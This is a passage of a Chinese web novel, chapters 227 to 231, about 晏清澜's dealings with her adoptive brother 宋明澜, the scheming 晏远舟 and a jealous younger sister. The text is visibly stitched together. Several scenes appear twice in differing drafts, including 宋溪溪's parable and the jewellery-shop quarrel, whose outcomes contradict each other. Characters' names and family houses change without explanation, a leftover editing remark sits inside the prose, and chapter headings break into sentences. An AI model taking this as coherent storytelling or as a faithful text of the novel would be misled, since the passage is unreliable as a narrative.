鸡汤的香气越来越浓郁,她将面条放入锅中,轻轻搅拌,防止粘连。 出锅前,撒上一把翠绿的葱花,再卧上一个煎得金黄的荷包蛋。 一碗色香味俱全的阳春面,就做好了。 晏清澜示意夏竹将面和其他吃食端走。 夏竹应了一声,正要离开,却又被晏清澜叫住了。 “等一下,把这个也端过去。” 晏清澜指了指桌上的另一个小碗,里面装着她刚刚做好的焦糖布丁。 夏竹看了一眼,有些犹豫, “姑娘,这是……” “给你的。”晏清澜说道,“我做了好几个,你也尝尝。” 夏竹受宠若惊,连忙推辞: “不不不,姑娘,这是您做的,奴婢怎么能……” “让你吃你就吃。”晏清澜打断了她的话,语气不容置疑,“快去吧。” 夏竹不敢再推辞,小心翼翼地接过布丁,退了出去。 几乎是她前脚刚踏出厨房,童玄珏后脚就闪身而入。 他像是算准了时间一样,出现得恰到好处。 他径直走到晏清澜对面坐下,姿态随意,仿佛这里是他家一样。 晏清澜抬眸看了他一眼,没有说话,只是将一碗刚出锅的面推到他面前。 童玄珏也不客气,拿起筷子就吃。 他一边吃,一边打量着晏清澜,眼中带着一丝探究。 “你倒是挺会享受的。”他突然开口说道。 晏清澜放下手中的筷子, “怎么说?” “这面,这汤,还有……”童玄珏指了指桌上的空碗, “还有这甜点,可不是一般人能做出来的。” 晏清澜笑了笑, “所以呢?” “所以……”童玄珏放下筷子,身体微微前倾, “你是不是早就知道我要来?” 晏清澜挑了挑眉, “是又如何,不是又如何?” 童玄珏轻笑一声, “看来,原来是我自己想多了。” 他重新拿起筷子,继续吃面。 晏清澜看着他,没有说话。 她知道,童玄珏这个人,心思深沉,很难猜透。 不过,她也不在乎。 反正,他们之间的关系,不过是各取所需罢了。 一碗面很快见了底,童玄珏放下筷子,看向晏清澜。 他注意到,晏清澜面前的粥只动了几口,包子也只吃了一个。 “就吃这么一丢丢啊?”他皱着眉头问道。 晏清澜淡淡地回答: “我早上不怎么饿。” 童玄珏看着她,眼中闪过一丝担忧, “不饿也要吃点,不然对身体不好。” 晏清澜没有接话,只是静静地看着他。 气氛,突然变得有些微妙。“你管这叫少?” 晏清澜秀眉一挑,险些以为自己听岔了,嘴角不自觉地抽了抽。 她那粥碗,确实是比寻常的小了些,可配的汤包,个顶个的瓷实。童玄珏竟然睁着眼睛说她吃得少? 打从娘胎里出来,晏清澜还是头一回被人质疑饭量小,简直比窦娥还冤。 她眼神在童玄珏身上来回逡巡,像是在打量什么稀罕物。这家伙,该不会是吃饱了撑的,故意拿她寻开心吧? 童玄珏放下筷子,先是看了看自己面前空空如也、比脸还干净的大碗,又瞥了眼晏清澜面前几乎没怎么动过的小碗。 一个古怪的念头,毫无征兆地在他脑子里闪过,带着几分滑稽和不可思议。 他抬起手,揉了揉隐隐作痛的太阳穴,声音里透着几分不确定: “我……我是不是……把你的那份也给吃了?” 晏清澜:“……” 她张了张嘴,却发现自己竟无言以对。 她微微仰起头,目光定定地落在童玄珏脸上,像是在看一个傻子,嘴角抽动的频率都快赶上抽风了。 “所以……在你心里,我像是那种不分餐的?” 她顿了顿,语气里带上了一丝嘲讽, “还是说,王爷觉得我是那等上不得台面,吃东西还跟人抢的?” 这下,轮到童玄珏哑口无言了。 他抿紧了唇,脑海中迅速闪过晏清澜平日里的种种做派。 的确,她向来不是会委屈自己的人。 晏清澜见他不吭声,以为他这是默认了,心中莫名地有些烦躁。 她“啪”的一声将茶盏放到桌上,声音冷冷的: “不过,我可以给你提个醒。” 她微微前倾身体,凑近了些,目光灼灼地盯着童玄珏: “以后,你跟别的姑娘家一起用膳,不管人家想不想吃,你最好都问上一句。” 她停顿了一下,语气里带上了几分戏谑, “当然,这话只对你心悦之人说便可。” 晏清澜想起前世无意中刷到的一个短视频: 男朋友说要带饿了的女朋友去吃饭,结果上了车,二话不说就把车上的零食给吃了,连问都没问女朋友一句。 最后,自然是惹得女朋友大发雷霆,二人爆发激烈争吵。 这种完全可以避免的争吵,何必呢? 她收回思绪,目光再次落到童玄珏的脸上。 虽然……以童玄珏的性子,估计这辈子都用不上这个忠告。 不过,谁知道呢? 她耸耸肩,在心里默默地补充了一句:毕竟,这世上的事,谁又能说得准呢。 童玄珏听了,先是若有所思地点了点头,随即又摇了摇头,唇角勾起一抹淡淡的笑: “多谢提醒,不过,大可不必。” 他微微侧过头,用眼神示意了一下晏清澜, “毕竟,我不会跟别的姑娘同桌吃饭。” 晏清澜一怔,随即释然地点了点头。 也是,以童玄珏这性子,能让他看上眼的姑娘,恐怕还没投胎呢。 更何况,他亲口承认过,这辈子不打算成亲。 只是…… 童玄珏的目光再次落到晏清澜面前那几乎没怎么动过的小碗上,眉头微微皱了起来。 他总觉得,晏清澜吃得实在太少了。 难怪她身形这般纤弱。 童玄珏将这一切归咎于她小时候身子骨弱,吃什么都没胃口,时间长了,就养成了现在这副不论吃什么都只吃一点的习惯。 晏清澜敏锐地察觉到了童玄珏的视线,她放下手中的茶盏,抬眼望向窗外,巧妙地转移了话题: “马上就要迎来秋天,你打算在哪儿跟我比?” 她微微侧过头,看向童玄珏。 等入了秋,天气爽朗,就不会像现在这样闷热了。 童玄珏收回思绪, “校场人太多,围猎场又都是些圈养的畜生,没什么意思。” 他略微思考了一下,提出了一个建议, “不如去城外的青云山,你觉得如何? 第二百二十七章 ” 他看着晏清澜,补充道: “你若是不喜欢,我们再换别处。” 晏清澜对此倒是没什么异议,毕竟她也不是第一次进山了。 “行。” 她顿了顿,又接着说: “既然是比试,做事要讲究规矩。怎么算输赢?赢了有什么彩头?” 她抬眼,视线落在童玄珏那张俊美得过分的脸上,唇角勾起一抹玩味的笑, “要不然……咱们再签个生死状?” 她故意提起之前在归朝宴上,童玄珏提议她和周雨柔签生死状的事。 童玄珏听了,低笑出声,知道晏清澜是在拿他打趣。 他身体微微向后靠去,手臂随意地搭在椅背上,眼神中带着几分戏谑: “不过是私下玩玩,哪用得着签生死状?” 他眉梢轻挑,那双凤眼里流光溢彩, “至于规矩,就比谁先猎到珍稀猎物,如何?” 他顿了顿,语气随意, “不过,都是玩闹罢了,不必当真。” “至于彩头嘛……” 童玄珏笑了笑,迎上晏清澜投来的目光, “我这澜王府,怕是没什么东西能入得了你的眼,你瞧着也不像是缺东西的人。” 这话倒是把晏清澜给逗乐了。 她摇了摇头,颇有自知之明地笑了笑: “就算有,我也没那本事赢,只是逗你玩而已。” 童玄珏听了,也不反驳,只是眼底笑意更深。 两人又随意聊了几句,童玄珏便起身告辞。 他还有公务在身,不宜在浮萍居久留。 临走前,两人约定好了几日后去青云山比试。 童玄珏离开后不久,桂柔也回来了。 她告诉晏清澜,宋明澜已经从城外回京,等向景元帝复完命,就要返回将军府。 晏清澜点点头,让桂柔帮她简单收拾了一下,便准备出门去韩府。 她前脚刚踏出浮萍居,后脚她那位不常露面的二哥晏远舟,突然现身在浮萍居门前。 晏远舟是来寻晏清澜的。 只是很不巧,晏清澜出门了,他扑了个空。 晏远舟脸上闪过一丝遗憾,但很快又恢复了平日里温文尔雅的模样。 他试探着问守门的小厮: “能否准许我在此等候四妹归来?” 若是换了宋明澜来,守门的小厮定然会毫不犹豫地放行。 可来人是晏远舟…… 小厮低着头,仔细想了想,自家姑娘似乎只允许过晏老夫人和晏大小姐随意进出这浮萍居。 他斟酌了一下,小心翼翼地开口: “庄二公子,实在抱歉,未经小姐允许,小的们不敢擅自放人进来。” 并非他有意刁难,只是这浮萍居的规矩,确实如此。 晏远舟深深地看了一眼那块写着“浮萍居”三个字的牌匾。 笔走龙蛇,锋芒内敛。 浮萍本是无根之物,随波逐流。 但这三个字,却隐隐透着一股不屈的傲气,似乎在向世人宣告,这座浮萍居的主人家,绝非任人欺凌的弱者。 晏远舟没有为难小厮。 他心里清楚,若没有晏清澜的首肯,一名守门的仆从,绝不敢这般放肆。 他温和地说了句“无妨”,便转身离开了。 晏远舟沿着街道漫无目的地走着,没走多远,竟然在街上碰到了一个熟人—— 他的“好友”酆明川。 说来也巧,酆明川这几日不知怎的,突然转了性子,竟没再去那些风月场所厮混。 这也让晏远舟原本计划好的一出戏,还没来得及上演,就胎死腹中了。 晏远舟快步上前,走到正在路边摊子上看字画的酆明川身边,笑着打招呼: “明川兄,你咋会出现在这?” 酆明川也没想到会在这里碰见晏远舟。 自从那日得了神秘人的提点,他回家后,又将那本没写完的《玉华盏》从头到尾细细读了好几遍。 虽说仍旧没能完全参透其中的玄机, 但“害人之心不可有,防人之心不可无”这句话,他算是彻底记在了心上。 因此,这段时间,酆明川对晏远舟,也不再像从前那般掏心掏肺。 他抬眼看向晏远舟,语气淡淡地答道: “随便出来走走,顺便看看这摊子上的字画。”晏远舟的视线在路边摊上那些字画上一掠而过,最终落在一幅笔法稚嫩的山水画上。他倒没表现出轻视,只是语气平淡:“想淘换好字画,何必来这地摊儿上?我那儿……” 话到嘴边,他却又咽了回去,似乎有什么难言之隐。 庄家家底丰厚,他的私藏里,随便挑出一幅名家真迹,都足以让这些街边货色相形见绌。按常理,酆明川听了这话,定会刨根问底。 可今天,酆明川只是眉头微蹙,目光在他身上一扫而过,并没接茬。 “这小子,莫非吃错药了?”晏远舟暗自腹诽,表面却波澜不惊。 酆明川垂下眼,装作认真挑选的样子,最后指着一幅山水画说:“就这幅了。” 付了钱,他小心翼翼地把画卷好。 两人继续并肩前行。 晏远舟的余光总往那幅画上瞟,心里头多少有些不以为然。 真正的世家子弟,哪会瞧得上这种路边摊上的玩意儿?再怎么装出平易近人的模样,骨子里的那点傲气,也总会不经意间冒出来。 他斟酌着词句,开口道:“柳兄要是真喜欢山水画,哪天得空,我送你一幅就是。” 话虽说得客气,但那股子若有若无的优越感,还是没藏住。 酆明川再迟钝,也听出了弦外之音。 他倒不是气晏远舟狗眼看人低,只是觉得,眼前这人,跟他记忆中那个如翠竹般挺拔、似兰花般清雅的晏远舟,有些不一样了。 “莫非,一直以来都是我一厢情愿,把他给美化了?”酆明川心里闪过一丝自嘲。 他停下脚步,看着晏远舟,语气平和:“不用了,多谢远舟兄美意,不过无功不受禄,这幅就挺好。” 顿了顿,他又补上一句:“再说了,谁说地摊儿上就淘不出好东西?” “这年头,多的是有真本事,却不得不为几两碎银子奔波的人。单凭出身,就把这些字画说得一无是处,未免太武断了。” 酆明川这话说得不卑不亢,有理有据。 晏远舟听了,只是似笑非笑地瞥了他手里的画一眼,没再吭声。 “看来,这酆明川也不是个彻头彻尾的草包。”晏远舟心想。 两人一路无话,走到醉月楼附近,晏远舟忽然往楼里瞅了一眼,话里有话地说:“对了,我好像听说,柳兄前阵子,来过这醉月楼?” 酆明川一愣,扭头看他,眼神里带着几分探究:“哦?远舟兄听谁说的?” 这事儿,他可从没跟任何人提起过。 晏远舟装作若无其事地摇摇头,眼神闪烁:“嗨,小道消息罢了。 第二百二十八章 好像是几个同窗闲聊,我刚好路过,听了一嘴。” 搁平时,酆明川或许就信了。可这事儿,除了他自己,压根没人知道,现在却被晏远舟轻飘飘地提起来,他心里头总觉得别扭。 “这晏远舟,是真的不清楚,还是在这儿跟我打马虎眼呢?”酆明川暗自琢磨。 他素来不爱跟人耍心眼,更不愿把人往坏处想,但眼下,他却不得不对晏远舟留了个心眼。 “算了,说多了也没用。”酆明川在心里叹了口气。 他索性直说:“去是去过,不过里头也没啥意思,从此再也没出现过。” 遮遮掩掩的,反倒显得他心里有鬼。 晏远舟显然没想到他会这么坦白,一时间竟不知道该怎么接话。他欲言又止,可两人已经走到了柳家门口。 酆明川朝他一拱手:“远舟兄,到家了,改日再聊。” 说完,不等晏远舟回话,就转身进了府。 晏远舟站在原地,看着酆明川的背影,眉头拧成了个疙瘩。 搁平时,酆明川绝不会这么“不近人情”,至少也得客套几句,请他进去喝杯茶。可今天,他却走得这么干脆,这里头,肯定有猫腻。 “莫非,有人在他耳边吹了风?” 晏远舟又想到酆明川商贾出身,加上才华横溢遭人嫉妒,平时在国子监也没什么知心朋友,又觉得不太可能。 “算了,先不管他。”晏远舟暗自决定。 调转方向,又走了两条街,就到了镇国大将军府。晏远舟想了想,还是迈步走了过去。 将军府看门的小厮见了他,赶紧迎上来,点头哈腰:“庄二公子您来了。” 晏远舟平时在外头名声不错,待人也算客气,他微微点头,问道:“令公子现在可在家中?” 小厮摇摇头,一脸堆笑:“回二公子,大公子还没回来呢,这会儿也不知道啥时候能回。” 晏远舟脸色不变,又问:“那我四妹妹呢?她在府里吗?” “如果在的话,麻烦你进去通报一声,就说她二哥找她。” 简洁起见,这句就这么改。 小厮一听,连忙摆手,脸上的笑有些僵硬:“庄二公子,您太客气了。只是小的今儿一直在门口守着,真没见着清姑娘来。” 晏清澜虽说是苏府的四小姐,但在陆家,下人们都叫她“清姑娘”,而不是“晏四小姐”。 晏远舟哪能听不出这小厮话里的推脱?八成是晏清澜,或者陆家的人,跟他交代了什么。 “看来,我这四妹妹,心里头的火气还没消呢。”晏远舟心里明白。 他没再多说什么,转身就走,只是在出门前,深深地看了那小厮一眼。 此时,将军府内,欢声笑语不断。 宋溪溪好久没见晏清澜,一见面就抱着她的胳膊,腻歪个没完。晏清澜脸上无奈,眼角眉梢却都是笑意。 太阳快落山的时候,宋明澜总算回来了。 他风尘仆仆,脸上却笑开了花,看样子,皇上交代的事儿,办得很是顺利。 晚饭后,晏清澜陪着傅清霁在屋里聊天。宋溪溪则拽着宋明澜的袖子,把他拉到了后院。 “哥,陪我练几招。” 宋明澜没多想,跟着她就往后院走。 走了几步,他才一拍脑袋,想起昨晚下了雨,后院地上肯定还湿着,真要动起手来,非得溅一身泥点子不可。 他自己倒无所谓,可宋溪溪爱干净,肯定不乐意在这种地方练功。 “这丫头,又想搞什么鬼?”宋明澜心里犯嘀咕。 他脚步一顿,正要开口,却被宋溪溪抢了先。 “哥,我问你个事儿。”宋溪溪收起了平日里的刁蛮,神情严肃。 宋明澜被她这突如其来的转变弄得一愣,下意识地停下脚步,做出一副侧耳倾听的架势。 “你说。”宋明澜示意她继续。 宋溪溪清了清嗓子,酝酿了一下情绪, 缓缓开口:“我最近看了个话本子,里头讲了一户人家,为了生儿子,把刚出生的女儿给扔了,结果那女娃命大,被一户有钱人家捡去当了宝贝疙瘩养着,后来还认了亲。” “那家人知道后,鼻涕一把泪一把地认错,你说这家人是真的知道自己错了吗?”宋溪溪眨巴着大眼睛,盯着宋明澜,等着他的回答。 宋明澜被她这没头没脑的问题问得一愣,一时间没反应过来她到底想表达什么。宋溪溪深吸一口气,指尖微微蜷缩,像是攒足了力气,才缓缓开口: “哥,我最近看了一个话本子,说的是一户人家特重男轻女,把刚生下来的女儿给扔了。你猜怎么着?那女娃命大,被一户有钱人家捡了当宝贝养。后来认亲了,那家人鼻涕一把泪地认错……” 她故意停顿,抬眼看宋明澜,眼神中带着一丝戏谑,又有一丝试探。 “怎么着?你猜那家人是真的知道自己错了?” 宋明澜被这突如其来的问题问得一愣,这丫头,今天怎么突然关心起这种事来了?这跟他想的完全不一样。 他浓眉微皱,一时竟不知该如何回答。往日里那个只知道吃的小丫头,今天倒是伶牙俐齿起来了。 宋溪溪见他不说话,嘴角微勾,露出一丝淡淡的嘲讽,这和平日里那个娇憨可爱的形象大相径庭。 她轻笑一声,只是那笑容里,却带着几分冷意: “或者说,那家人只是为了攀附权贵才认错?” “毕竟话本子里写了,那可怜的姑娘,以前也想讨得父母兄弟一丝宠爱。” 宋溪溪紧盯着宋明澜的眼睛,一字一句,像是在等着他的回答,又像是在陈述一个事实。 月光透过窗棂,洒在宋溪溪的脸上,将她此刻冷静的神情,衬得格外清晰。 宋明澜看着这样的宋溪溪,心头微微一震,久久没有说话。 她不再是那个只会缠着晏清澜要糕点吃的小丫头,反而……反而像极了平日里嘴角总是挂着淡淡微笑的晏清澜。 那种感觉,很微妙,却挥之不去。 过了好一会儿,宋明澜才回过神。他伸手,轻轻揉了揉宋溪溪的脑袋,笑声爽朗: “我们家那个贪吃的小傻子,总算长大了。” 宋溪溪毫不客气地抬脚踹了他一下,以示对这种揶揄的反抗。力道不大,却也表明了态度。 宋明澜疼得龇牙咧嘴,却笑得更开心了。他作势要去捏宋溪溪的脸,却被她轻巧地躲开了。 宋溪溪知道,宋明澜已经明白了自己的意思。 有些话,点到为止。说得太多,反而没意思了。 她得意地冲宋明澜做了个鬼脸,提着裙摆,一溜烟地跑开了。 回到屋里,宋溪溪立刻换上一副亲昵的模样,挽着晏清澜的胳膊,小声问道: “阿清姐姐,你为什么不自己和大哥说呢? 第二百二十九章 ” 她微微歪着头,眼神中充满了好奇。 先前在后院对宋明澜说的那番话,其实都是晏清澜的主意。当然,她自己也烦透了庄家那些人。 在她心里,晏清澜哪儿都好,唯一的不好,就是摊上了苏府那样一窝子的糟心亲戚,简直是……倒霉透顶。 晏清澜微微一笑,眼波流转,垂下眼帘,轻声道: “你来说,效果更好。我一个外人,不好多嘴。” 她的声音很轻,带着一丝无奈。 宋溪溪撅起小嘴,替晏清澜打抱不平:“什么外人!阿清姐姐才不是外人!” 晏清澜被她这孩子气的模样逗笑了,伸出手指点了点她的额头: “傻丫头,你呀,就是太向着我了。” “我若是直接跟你大哥说庄家的事,难免有挑拨离间的嫌疑。到时候,别说帮你大哥看清庄家人的真面目了,恐怕还会适得其反,让他觉得我心胸狭隘,容不得人。” 她顿了顿,语气中多了几分认真: “你不一样,你是他妹妹,他说什么也不会怀疑你的。” 宋溪溪冰雪聪明,一点就透。她的小脑袋瓜里,飞快地转着各种念头。 她紧紧握住晏清澜的手,语气坚定,像是在立誓: “阿清姐姐你放心,大哥他不是那种不分是非的蠢人。” 她撇了撇嘴,轻哼一声,带着小女儿家的娇嗔: “如果他真的那么蠢,我就……我就打断他的腿!” 这番话,掷地有声,却又带着孩子气的可爱,把晏清澜逗笑了。 她伸出手,轻轻刮了一下宋溪溪的鼻子,宠溺地揉了揉她的脑袋: “这话要是让大哥知道可就炸了,否则他非得气得跳脚不可。” 宋溪溪才不在乎宋明澜会不会跳脚。总之,她才不会让自己哥哥当个憨憨。 又过了半个时辰,晏清澜觉得时间不早,该回府了。 宋明澜立刻起身,走到晏清澜身旁,笑着对傅清霁和厉宗玉说: “时候不早了,我送阿清回去。” 傅清霁和厉宗玉巴不得宋明澜和晏清澜多相处一会儿,哪有不同意的道理。 他们原本还想着留晏清澜住下,但一想,这丫头估计也有自己的事情要忙,便作罢了。 出了将军府,夜色已深。 一阵风吹来,带来丝丝凉意。宋明澜下意识地拢了拢衣襟,借着月光,他看向身旁的晏清澜。 “阿清,”宋明澜忽然开口,打破了沉默,“我知道溪溪今天说的那些话,都是你教的。” 晏清澜脚步微顿,她就知道,什么都瞒不过宋明澜。 不过,她也并不意外。宋明澜何等聪明,自己能想到的,他肯定也能想到。 她没有否认,只是微微挑眉,反问道: “哦?何以见得?” 宋明澜笑了笑,带着几分得意: “溪溪那丫头,古灵精怪的点子不少,但这种弯弯绕绕的心思,她可想不出来。” “她要是真对庄家有什么不满,早就像爆竹一样炸开了,哪会像今天这样,还跟我打起哑谜来了?” 他模仿着宋溪溪平日里风风火火的样子,惹得晏清澜“扑哧”一声笑了出来。 晏清澜笑着摇了摇头,带着一丝自嘲: “看来,我还是不够了解溪溪。” 宋明澜哈哈大笑,眉宇间尽是少年意气: “你呀,就是心思太细,想得太多。有时候,简单点反而更好。” 晏清澜无奈地点点头,表示赞同: “或许吧。” 她停顿了一下,抬起头,认真地看向宋明澜: “不过,我还是想知道,大哥对晏远舟,究竟是怎么看的?” 宋明澜脸上的笑容渐渐收敛,取而代之的是一种严肃和审视。 “晏远舟这个人,心思深沉,城府极深。他做的每一件事,说的每一句话,都有他的目的。” 他语气平静,像是在陈述一个客观事实: “他善于伪装,擅长利用人心。表面上对你好,或许只是为了达到某种不可告人的目的。” 晏清澜静静地听着,没有插话。她知道,宋明澜既然这么说,就一定有他的道理。 宋明澜继续说道: “归朝宴上,他突然对你示好,看似是幡然醒悟,实则是看中了你身上的价值。” “他这个人,无利不起早。亲情在他眼里,不过是可以利用的筹码罢了。” 晏清澜垂下眼眸,长长的睫毛微微颤动,遮住了她眼底的情绪。 宋明澜看着她,眼神中带着一丝心疼,还有一丝坚定: “阿清,你放心。我不会被他蒙蔽的。” 他语气柔和,却带着不容置疑的力量: “我知道你担心我,怕我被他利用。但我宋明澜也不是傻子,不会任人摆布。” 晏清澜猛地抬起头,看向宋明澜。她的眼中,闪过一丝惊讶,一丝感动,还有一丝释然。 原来,他什么都知道。 宋明澜很少见到她这副模样,不由得笑了。平日里那个冷静自持、运筹帷幄的晏清澜,此刻竟然像个手足无措的小姑娘。 他伸手,轻轻揉了揉她的头发,语气温柔: “傻丫头,别担心。有我在,谁也别想欺负你。” “你要是不喜欢晏远舟,我以后就不搭理他。我们陆家,不稀罕和这种人打交道。”“晏远舟那人,惯会装模作样,心机深得很!大哥你可千万别搭理他,仔细自己的性子也被带歪了!” 晏清澜斩钉截铁地说着,话里话外都是对晏远舟的厌恶,仿佛那是什么碰不得的脏东西。 她心里清楚,晏远舟最擅长的就是算计人心。 宋明澜虽说已有了防备,可她还是不放心,生怕一个不留神,就被晏远舟给坑了。 夜幕低垂,星光点点。 宋明澜安静地听着,目光从星空中移回,落在了身旁的人儿身上。 他唇角微扬,勾起一抹无奈又宠溺的弧度: “你这丫头,往后有什么话,直说便是。” “何必绕来绕去,还借溪溪的嘴来提醒我?” “我是你哥哥,不信你,还能信了谁?” 宋明澜指尖轻点了下晏清澜的额头。 晏清澜身形微怔,眼睫轻轻颤了颤,垂下了眼帘。 宋明澜的话,像是一颗石子投入了她平静的心湖,激起层层涟漪: “我不信你,还能信谁?” 是啊,他是她哥哥,她不信他,还能信谁? 心头的那层阴霾,似被风吹散了。 晏清澜缓缓抬起头,眸光清亮,嘴角也绽开了一抹笑意: “嗯,我自然是信大哥的。” 有些话,一旦敞开了说,旁人便再难有可乘之机。 可另一头,晏远舟这几日的心情,可就没这么舒畅了。 先是酆明川,不知哪根筋搭错了,突然对他冷淡疏远。 这倒也罢了,没准是那蠢货突然转了性。 第二百三十章 可最让他火大的是,宋明澜这几日,竟也跟他彻底划清了界限。 从前,他还勉强能跟宋明澜说上几句话,去韩府拜访,对方好歹也会给几分薄面。 现在可倒好,直接被守门小厮一句“公子不在”就给打发了。 就算他有意去堵宋明澜,对方也只是冷着脸,淡淡地推说有事,然后转身就走,连个多余的表情都欠奉。 晏远舟坐在书房里,死死盯着墙上挂着的一幅墨竹图。 画上的墨竹,笔直挺拔,傲骨迎霜雪。 他却觉得自己像是一只被困在笼子里的野兽,焦躁不安,却又无处发泄。 他用力地捶了一下桌子,桌上的茶杯发出“哐当”一声脆响,茶水溅了出来,洒在了他名贵的衣袍上。 屋子里的下人们吓得大气都不敢出,一个个恨不得把自己缩成一团,生怕被盛怒之下的主子注意到。 “二哥,你这是怎么了?谁惹你生气了?” 一个娇俏的声音,打破了屋内的沉闷气氛。 晏远舟猛地抬起头,看向门口。 只见晏玥玥提着裙摆,小心翼翼地走了进来,脸上带着几分关切,几分试探。 晏远舟深吸了一口气,强压下心头的怒火,脸上勉强挤出一丝笑容: “玥玥,你怎么来了?” 晏玥玥走到晏远舟身边,看着他阴沉的脸色,心中有些害怕,但还是鼓起勇气说道: “二哥,你好久都没陪我出去玩了,我……我想你了。” 晏远舟看着眼前这个娇滴滴的妹妹,心中的烦躁稍微减轻了一些。 他伸出手,轻轻捏了捏晏玥玥的脸颊,语气尽量温和: “二哥最近忙,过几日空下来,一定好好陪你,好不好?” 晏玥玥却不依不饶,嘟着嘴说道: “二哥,你以前不是这样的,你以前总是陪我玩的。” “现在你有了四姐姐,就不管我了。” “你是不是……不喜欢我了?” 她越说越委屈,眼泪在眼眶里打转,仿佛随时都会掉下来。 晏远舟最见不得她这副模样,顿时有些手足无措。 他连忙将晏玥玥揽入怀中,轻声哄道: “傻丫头,二哥怎么会不喜欢你呢?二哥把你当掌上明珠宠着。” “二哥最近是真的忙,等忙完了这段时间,二哥天天陪你玩,好不好?” “别哭了,再哭就不好看了。” 他一边说,一边用手轻轻擦拭着晏玥玥脸上的泪水。 晏玥玥这才破涕为笑,紧紧抱住晏远舟的胳膊: “那一言为定!” “二哥,我想去逛街,你陪我。” “雅韵坊新出了好多好看的首饰和胭脂,我想去看看。” 她心里明白,自己不能再像以前那样任性了。 她必须想办法抓住二哥的心,让他像以前一样宠爱自己。 晏远舟本想拒绝,但看着晏玥玥那充满期待的眼神,又不忍心让她失望。 他点了点头,说道: “好,二哥陪你去。你想买什么,尽管挑,二哥都给你买。” 晏玥玥脸上露出灿烂的笑容: “二哥最好了!” “对了,我还叫了三哥一起,咱们一起去。” 晏远舟微微皱了皱眉,但还是答应了: “好,都依你。” 三人带着丫鬟婆子出了门。 晏玥玥走在中间,左边是晏远舟,右边是晏子晏,三人并排走着,引来了不少路人的注目。 进了雅韵坊,晏玥玥的目光在店内扫了一圈,很快就看到了站在柜台前的晏清澜、宋溪溪和宋明澜。 她脸上的笑容瞬间消失,取而代之的是一抹阴沉和嫉妒。 晏清澜和宋溪溪身上那两件云锦缎裳裙,像两根刺一样扎在她的眼里。 那料子,本该是属于她的! 她深吸一口气,强压下心头的怒火,快步走到晏清澜面前,语气不善地说道: “四姐姐,真巧啊,你也在这里。” 晏清澜淡淡地看了她一眼,没有说话。 她知道晏玥玥心里在想什么,无非就是嫉妒她和宋溪溪身上的衣服。 可那又如何? 这些东西,是她凭本事得来的,跟晏玥玥没有半点关系。 宋溪溪却看不惯晏玥玥这副阴阳怪气的样子,她上前一步,挡在晏清澜面前,说道: “晏玥玥,你来这里做什么?这里可不是你能来的地方。” 晏玥玥被宋溪溪的话气得脸色发青,她指着宋溪溪,尖声说道: “你算什么东西,也敢管我?!” “我可是苏府的嫡出小姐,你不过是一个外人,有什么资格在这里说三道四?” 宋溪溪冷笑一声: “我是外人?那你又算什么?” “别忘了,你四姐姐可是我的好姐妹,她的事就是我的事。” “我劝你还是收敛一点,别在这里丢人现眼了!” 晏玥玥气得浑身发抖,她转头看向晏远舟,希望他能为自己出头。 可晏远舟却只是站在一旁,冷眼旁观,丝毫没有要插手的意思。 晏玥玥心中一阵绝望,她知道,自己是彻底失去了二哥的宠爱。 她咬紧牙关,狠狠地瞪了晏清澜和宋溪溪一眼,转身跑出了雅韵坊。 晏清澜看着晏玥玥落荒而逃的背影,心中没有一丝波澜。 她随手挑了几样东西,让宋明澜付了钱,然后和宋溪溪一起离开了。 她不想在这种无聊的事情上浪费时间。 宋明澜默默的跟在两人身后,心里却有些过意不去 他知道,自己妹妹逛街是因为自己说“旁人有的,我妹妹也得有”。 但其实阿清对于这些并不热衷。 她想要的,从来都不是这些。 想到这,他突然开口,“阿清,要不我们去看看兵书?”“哟,这不是六妹妹吗?真是巧了,竟能在这儿碰上。” 晏玥玥的脚步硬生生顿住,脸上还未来得及绽放的笑容,像被凝固了似的。 她原本还盘算着,待会儿主动些凑上去,软语温言地打个招呼,再怎么说,晏清澜也得顾忌着场合,不至于当着这许多人的面,给她难堪。 哪成想,宋溪溪压根不按常理出牌,一句话就把她那点小心思给戳破了。 “四姐姐,溪溪妹妹,你们也来逛街啊。” 晏玥玥深吸一口气,勉强维持住脸上的笑容,暗自给自己打气。她飞快地眨了眨眼,试图掩饰自己的尴尬。 她又将目光转向宋明澜,声音放得又轻又柔,像是三月的柳絮,带着几分试探的意味:“明澜哥哥,你也来啦。” 宋明澜微微皱了下眉,这声“明澜哥哥”叫得他浑身不自在。 他清楚地记得,上次见面,他就已经提醒过晏玥玥,不要这样称呼他。 看来,这位晏六小姐,是完全没把他的话放在心上。 “晏六姑娘。” 宋明澜语气淡淡地回应,声音里听不出任何情绪。 第二百三十一章 他又看向一旁的晏雨珩和晏远舟,微微颔首,算是打了个招呼。 宋溪溪可不像自家大哥那样好脾气。 她斜睨了晏玥玥一眼,语气里满是嘲讽:“怎么,六妹妹这是得了什么眼疾?这么大几个活人站在这儿,你还非得凑上来问一句‘你们竟然也在这’?” “我……” 晏玥玥被噎得脸色一阵青一阵白。 她张了张嘴,想要辩解,却发现自己根本无从辩驳。 宋溪溪这话,明摆着是嘲讽她故意装作没看见她们。 可她偏偏还不能反驳,总不能睁眼说瞎话,那也太假了。 “我只是……一时没反应过来而已。” 晏玥玥眼眶一红,声音也带上了几分委屈,像是受了多大的冤屈似的。 她微微垂下头,假装用帕子轻轻擦拭眼角。 “溪溪妹妹何必这么咄咄逼人呢?” 她又将求助的目光投向晏清澜,试图博取同情。 “四姐姐,我跟你示好,你咋不搭理我?” 宋溪溪简直要被晏玥玥这副白莲花的模样给逗笑了。 她“啪”地一声打开手中的折扇,轻轻摇了摇,语气慵懒: “我说晏六小姐,你这是演的哪一出啊?” 她突然话锋一转,问了个让人摸不着头脑的问题:“你家住在哪座山头上?” 晏玥玥被问得一愣,一时间没反应过来,下意识地摇了摇头: “我家怎么可能住在山里?你这话是什么意思?” 宋溪溪轻笑一声,眼神中闪过一丝戏谑,语气中带着几分玩味: “不住山里?那你装什么山茶花呢?” 晏玥玥的脸色“唰”地一下就变了,一阵红一阵白。 她再迟钝,也听得出宋溪溪这是在骂她。 “你……你竟敢骂我?!” 她气得浑身发抖,眼泪也开始在眼眶里打转。 “够了!” 一直沉默不语的晏雨珩,终于看不下去了。 他一把将晏玥玥护在身后,眉头紧皱,像一头发怒的狮子,看向宋溪溪的眼神中,充满了不悦和警告。 “厉姑娘,说话还请三思!” 他又将目光转向晏清澜,语气中带着几分责备和失望: “阿清,玥玥也是你妹妹,你做姐姐的,怎么能这么对她?” “妹妹?” 晏清澜冷笑一声,眼神中满是嘲讽,像是在看一个笑话。 她轻哼一声,眼神在晏玥玥身上扫过,像是看到了什么脏东西,带着不加掩饰的嫌弃。 “我可不记得,我有这样一个‘好妹妹’。” 她故意把“好妹妹”三个字咬得很重,语气中的讽刺意味不言而喻。 